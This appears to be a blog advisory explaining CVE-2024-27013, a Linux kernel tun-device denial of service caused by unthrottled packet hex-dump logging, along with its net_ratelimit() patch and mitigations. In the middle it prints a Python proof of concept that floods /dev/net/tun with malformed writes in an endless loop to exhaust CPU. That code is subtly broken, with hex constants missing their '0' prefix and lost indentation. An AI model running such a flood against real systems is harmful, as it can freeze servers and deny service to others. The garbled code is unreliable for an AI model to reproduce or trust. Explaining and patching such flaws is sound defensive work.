A recent vulnerability in the Linux kernel, identified as CVE-2024-27013, exposes systems to a potential Denial of Service (DoS) condition. This flaw is specific to the tun network device, widely used for virtualization, VPN, and network isolation in Linux. The core problem: too much debug output (logging) when an application sends illegal or malformed packets to a tun device. If left unchecked, this leads to massive CPU usage and may lock up the system—especially when system consoles are enabled.
What is the 'tun' Device?
The tun device is a virtual network kernel module. It lets user space programs interact with the network stack by sending and receiving packets as if they’re legitimate network interfaces.
For instance, VPN programs use tun devices to tunnel network traffic securely.
Why Excess Logging is a Problem
- When the kernel receives illegal network packets via tun, it tries to help by dumping packet data to the system log.
Trigger warnings like “soft lockup detected”
- Potentially freeze the server if the system console is enabled or if logs are being heavily printed to disk or serial ports
Captured during a soft lockup with this bug triggered
PID: 33036 TASK: ffff949da6f20000 CPU: 23 COMMAND: "vhost-32980"
...
#12 [ffffa65531497b68] printk at ffffffff89318306
#13 [ffffa65531497bc8] print_hex_dump at ffffffff89650765
#14 [ffffa65531497ca8] tun_do_read at ffffffffcb06c27 [tun]
#15 [ffffa65531497d38] tun_recvmsg at ffffffffcb06e34 [tun]
#16 [ffffa65531497d68] handle_rx at ffffffffcc5d682 [vhost_net]
...
As you can see, the log function (printk, print_hex_dump) is being called repeatedly during packet handling in the tun driver.
How Does the Exploit Work?
1. Open a tun device (as root or via permitted container/VM).
2. Send a huge amount of malformed/invalid packets to the device.
This uses up most or all CPU, starves other processes, and can freeze the system—classic DoS.
Why?
printk and print_hex_dump are expensive when overused. And Linux’s console log can be particularly slow, especially when serial output is involved.
Minimal Exploitation Steps (Python Example)
import os
import fcntl
import struct
TUNSETIFF = x400454ca
IFF_TUN = x0001
IFF_NO_PI = x100
# Create a tun device
tun = os.open("/dev/net/tun", os.O_RDWR)
ifr = struct.pack('16sH', b"tun", IFF_TUN | IFF_NO_PI)
fcntl.ioctl(tun, TUNSETIFF, ifr)
# Send a malformed packet (e.g., too short or invalid headers)
while True:
os.write(tun, b'\x00') # Write a byte, but tun expects a full packet
Warning: This is for demonstration only—running this on production systems can crash them!
Original Problem Code
Inside the tun_do_read function, every time an illegal packet comes, it would dump the packet contents:
print_hex_dump(KERN_INFO, "tun: illegal packet: ", DUMP_PREFIX_NONE, 16, 1, packet, plen, false);
This was called for every bad packet, with no protection against log spamming.
The Patch
Now, the kernel developers have added a call to net_ratelimit(), which ensures logging only happens at a controlled rate (once per second by default). Here’s how the idiomatic fix looks in C:
#include <linux/net.h> // for net_ratelimit
if (net_ratelimit())
print_hex_dump(KERN_INFO, "tun: illegal packet: ", DUMP_PREFIX_NONE, 16, 1, packet, plen, false);
This dramatically reduces the CPU spent on logging, preventing soft lockups or freezes.
See the official patch commit.
Kernel Version: Check if your kernel is older than the patch date (early 2024).
- Look for the Patch: In your distro's kernel changelog, look for "tun: limit dumping rate" or CVE-2024-27013.
- Testing Lab: Use the above Python script on a test system and load monitoring tools like top or dmesg to watch CPU and logs.
Disable unnecessary console output (e.g., log to file, not to serial).
- Limit access to /dev/net/tun to trusted users.
Consider kernel boot parameters that disable verbose logging to console.
Long-term solution:
Update your kernel! All major distributions should have backported fixes, or build your kernel from source with the patch above.
References
- NVD - CVE-2024-27013
- Linux kernel source commit
- LKML Patch Discussion
Conclusion
CVE-2024-27013 is a reminder that “helpful” verbose logging in privileged parts of the kernel can itself be a security issue. If you're running virtualized or containerized workloads (KVM, LXC, Docker, QEMU, etc.) with network tunneling, apply this fix as soon as possible.
Stay safe, keep current, and share this post with your sysadmin friends!
Timeline
Published on: 05/01/2024 06:15:19 UTC
Last modified on: 07/05/2024 17:22:49 UTC